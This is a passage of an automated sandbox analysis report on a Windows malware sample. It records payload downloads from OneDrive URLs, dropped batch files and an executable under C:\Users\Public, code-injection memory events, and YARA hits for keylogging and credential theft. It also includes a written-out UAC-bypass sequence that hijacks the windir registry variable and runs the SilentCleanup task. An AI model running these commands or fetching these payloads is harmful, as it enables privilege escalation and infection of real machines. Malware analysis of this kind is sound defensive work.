@ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	GET https://onedrive.live.com/download?cid=8CDD9A903CA2B7A1&resid=8CDD9A903CA2B7A1%21121&authkey=AE4pGuvsTEf3vdI
request	GET https://ok0muq.by.files.1drv.com/y4mXn3SB0c_rGmgXxjbH3WmsppOibbL1oZlW_b9zNu1Rx8XhZjP5jfvuXh4_Qxkk7alRd6tzyqugEoIqRqia9VXhCi-qHc4nV1eEqqZYxL09QqabDodVVaeAjr9QKU4OcnvpEiaLJn_lNvvRk5nSRSglAUUEkH2uR3f2HucXpts-XB8ZMJS-8maqxetjB-Cp_5UTXnZqAhAKCsuyMmQrFYK3Q/Oxqfxohrjqryauuonybvsdergonzryw?download&psid=1
request	GET https://ok0muq.by.files.1drv.com/y4mqHdWeQYGK5cbxmAzdiBSNTk4dffD-Ux0OULCWBTQdnmGloOWxVwE84xYkIhVD9KkYQ9lq_2wnzd0HMh6CgniFyiFiDaIpIHHYq1pIdhQtBjSorBL-s0HLwukMAbS0of6PmckxpqSsT_GI8ycKX1OiicltQgceZjhZoGLoNx40m0l0qTLluxGC1FTgeLgLPGO2srxxLy08oKJJMgx4wFpKA/Oxqfxohrjqryauuonybvsdergonzryw?download&psid=1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 68 events)

Time & API	Arguments	Status	Return
NtProtectVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c62000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 5 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72600000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72680000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72700000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72780000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72800000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72880000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72900000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72980000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73080000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73280000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73300000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73380000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73500000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73580000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73600000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73680000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73700000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73780000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73800000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73880000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73900000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73980000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73b00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73b80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Libraries\Oxqfxoh\Oxqfxoh.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 81920 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00901000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 60 events)

description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg delete hkcu\Environment /v windir /f
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

Allocates execute permission to another process indicative of possible code injection (45 events)

Time & API	Arguments	Return
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72600000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73080000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73500000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73580000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73800000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73880000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73900000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73980000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
